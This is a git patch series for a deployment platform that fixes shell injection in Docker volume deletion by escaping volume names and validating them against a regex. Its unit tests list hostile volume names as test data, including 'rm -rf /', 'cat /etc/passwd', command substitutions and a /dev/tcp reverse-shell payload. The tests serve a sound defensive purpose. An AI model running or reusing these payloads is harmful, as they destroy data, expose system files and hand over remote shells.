From d2064dd4998694cda2eabd00149f7c4d1e94c699 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 26 Mar 2026 11:06:30 +0100 Subject: [PATCH 1/2] fix(storage): use escapeshellarg for volume names in shell commands Add proper shell escaping for persistent volume names when used in docker volume rm commands. Also add volume name validation pattern to ValidationPatterns for consistent input checking. Co-Authored-By: Claude Opus 4.6 --- app/Actions/Service/DeleteService.php | 2 +- app/Livewire/Project/Service/Storage.php | 5 +- app/Models/Application.php | 2 +- app/Models/ApplicationPreview.php | 2 +- app/Models/StandaloneClickhouse.php | 2 +- app/Models/StandaloneDragonfly.php | 2 +- app/Models/StandaloneKeydb.php | 2 +- app/Models/StandaloneMariadb.php | 2 +- app/Models/StandaloneMongodb.php | 2 +- app/Models/StandaloneMysql.php | 2 +- app/Models/StandalonePostgresql.php | 2 +- app/Models/StandaloneRedis.php | 2 +- app/Support/ValidationPatterns.php | 37 ++++++++ tests/Unit/PersistentVolumeSecurityTest.php | 98 +++++++++++++++++++++ 14 files changed, 149 insertions(+), 13 deletions(-) create mode 100644 tests/Unit/PersistentVolumeSecurityTest.php diff --git a/app/Actions/Service/DeleteService.php b/app/Actions/Service/DeleteService.php index 8790901cd..460600d69 100644 --- a/app/Actions/Service/DeleteService.php +++ b/app/Actions/Service/DeleteService.php @@ -33,7 +33,7 @@ public function handle(Service $service, bool $deleteVolumes, bool $deleteConnec } } foreach ($storagesToDelete as $storage) { - $commands[] = "docker volume rm -f $storage->name"; + $commands[] = 'docker volume rm -f '.escapeshellarg($storage->name); } // Execute volume deletion first, this must be done first otherwise volumes will not be deleted. diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php index e896f060a..433c2b13c 100644 --- a/app/Livewire/Project/Service/Storage.php +++ b/app/Livewire/Project/Service/Storage.php @@ -5,6 +5,7 @@ use App\Models\Application; use App\Models\LocalFileVolume; use App\Models\LocalPersistentVolume; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -103,10 +104,10 @@ public function submitPersistentVolume() $this->authorize('update', $this->resource); $this->validate([ - 'name' => 'required|string', + 'name' => ValidationPatterns::volumeNameRules(), 'mount_path' => 'required|string', 'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable', - ]); + ], ValidationPatterns::volumeNameMessages()); $name = $this->resource->uuid.'-'.$this->name; diff --git a/app/Models/Application.php b/app/Models/Application.php index 4cc2dcf74..c446052b3 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -390,7 +390,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } } diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index 3b7bf3030..b8a8a5a85 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -37,7 +37,7 @@ protected static function booted() $persistentStorages = $preview->persistentStorages()->get() ?? collect(); if ($persistentStorages->count() > 0) { foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } } diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 33f32dd59..143aadb6a 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -135,7 +135,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index 074c5b509..c823c305b 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -135,7 +135,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index 23b4c65e6..f286e8538 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -135,7 +135,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index 4d4b84776..efa62353c 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -136,7 +136,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index b5401dd2c..9418ebc21 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -141,7 +141,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 0b144575c..2b7e9f2b6 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -136,7 +136,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index 92b2efd31..cea600236 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -114,7 +114,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index 352d27cfd..0e904ab31 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -140,7 +140,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 27789b506..7084b4cc2 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -45,6 +45,13 @@ class ValidationPatterns */ public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/'; + /** + * Pattern for Docker volume names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + * Matches Docker's volume naming rules + */ + public const VOLUME_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** * Pattern for Docker container names * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores @@ -157,6 +164,36 @@ public static function shellSafeCommandRules(int $maxLength = 1000): array return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN]; } + /** + * Get validation rules for Docker volume name fields + */ + public static function volumeNameRules(bool $required = true, int $maxLength = 255): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::VOLUME_NAME_PATTERN; + + return $rules; + } + + /** + * Get validation messages for volume name fields + */ + public static function volumeNameMessages(string $field = 'name'): array + { + return [ + "{$field}.regex" => 'The volume name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.', + ]; + } + /** * Get validation rules for container name fields */ diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php new file mode 100644 index 000000000..fdce223d3 --- /dev/null +++ b/tests/Unit/PersistentVolumeSecurityTest.php @@ -0,0 +1,98 @@ +toBe(1); +})->with([ + 'simple name' => 'myvolume', + 'with hyphens' => 'my-volume', + 'with underscores' => 'my_volume', + 'with dots' => 'my.volume', + 'with uuid prefix' => 'abc123-postgres-data', + 'numeric start' => '1volume', + 'complex name' => 'app123-my_service.data-v2', +]); + +it('rejects volume names with shell metacharacters', function (string $name) { + expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0); +})->with([ + 'semicolon injection' => 'vol; rm -rf /', + 'pipe injection' => 'vol | cat /etc/passwd', + 'ampersand injection' => 'vol && whoami', + 'backtick injection' => 'vol`id`', + 'dollar command substitution' => 'vol$(whoami)', + 'redirect injection' => 'vol > /tmp/evil', + 'space in name' => 'my volume', + 'slash in name' => 'my/volume', + 'newline injection' => "vol\nwhoami", + 'starts with hyphen' => '-volume', + 'starts with dot' => '.volume', +]); + +// --- escapeshellarg Defense Tests --- + +it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) { + $command = 'docker volume rm -f '.escapeshellarg($maliciousName); + + // The command should contain the name as a single quoted argument, + // preventing shell interpretation of metacharacters + expect($command)->not->toContain('; ') + ->not->toContain('| ') + ->not->toContain('&& ') + ->not->toContain('`') + ->toStartWith('docker volume rm -f '); +})->with([ + 'semicolon' => 'vol; rm -rf /', + 'pipe' => 'vol | cat /etc/passwd', + 'ampersand' => 'vol && whoami', + 'backtick' => 'vol`id`', + 'command substitution' => 'vol$(whoami)', + 'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', +]); + +// --- volumeNameRules Tests --- + +it('generates volumeNameRules with correct defaults', function () { + $rules = ValidationPatterns::volumeNameRules(); + + expect($rules)->toContain('required') + ->toContain('string') + ->toContain('max:255') + ->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN); +}); + +it('generates nullable volumeNameRules when not required', function () { + $rules = ValidationPatterns::volumeNameRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); + +it('generates correct volumeNameMessages', function () { + $messages = ValidationPatterns::volumeNameMessages(); + + expect($messages)->toHaveKey('name.regex'); +}); + +it('generates volumeNameMessages with custom field name', function () { + $messages = ValidationPatterns::volumeNameMessages('volume_name'); + + expect($messages)->toHaveKey('volume_name.regex'); +}); From f9a9dc80aa85f494aa4fade9efe46d38afe579f1 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 26 Mar 2026 12:17:39 +0100 Subject: [PATCH 2/2] fix(api): add volume name validation to storage API endpoints Apply the same Docker volume name pattern validation to the API create and update storage endpoints for applications, databases, and services controllers. Co-Authored-By: Claude Opus 4.6 --- app/Http/Controllers/Api/ApplicationsController.php | 5 +++-- app/Http/Controllers/Api/DatabasesController.php | 5 +++-- app/Http/Controllers/Api/ServicesController.php | 5 +++-- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index b081069b7..ad1f50ea2 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -20,6 +20,7 @@ use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Services\DockerImageParser; +use App\Support\ValidationPatterns; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; @@ -4096,7 +4097,7 @@ public function update_storage(Request $request): JsonResponse 'id' => 'integer', 'type' => 'required|string|in:persistent,file', 'is_preview_suffix_enabled' => 'boolean', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', @@ -4274,7 +4275,7 @@ public function create_storage(Request $request): JsonResponse $validator = customApiValidator($request->all(), [ 'type' => 'required|string|in:persistent,file', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index f9e171eee..660ed4529 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -19,6 +19,7 @@ use App\Models\ScheduledDatabaseBackup; use App\Models\Server; use App\Models\StandalonePostgresql; +use App\Support\ValidationPatterns; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; @@ -3467,7 +3468,7 @@ public function create_storage(Request $request): JsonResponse $validator = customApiValidator($request->all(), [ 'type' => 'required|string|in:persistent,file', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', @@ -3665,7 +3666,7 @@ public function update_storage(Request $request): JsonResponse 'id' => 'integer', 'type' => 'required|string|in:persistent,file', 'is_preview_suffix_enabled' => 'boolean', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 89635875c..fbf4b9e56 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -13,6 +13,7 @@ use App\Models\Project; use App\Models\Server; use App\Models\Service; +use App\Support\ValidationPatterns; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; @@ -2015,7 +2016,7 @@ public function create_storage(Request $request): JsonResponse $validator = customApiValidator($request->all(), [ 'type' => 'required|string|in:persistent,file', 'resource_uuid' => 'required|string', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', @@ -2224,7 +2225,7 @@ public function update_storage(Request $request): JsonResponse 'id' => 'integer', 'type' => 'required|string|in:persistent,file', 'is_preview_suffix_enabled' => 'boolean', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', 'host_path' => 'string|nullable', 'content' => 'string|nullable',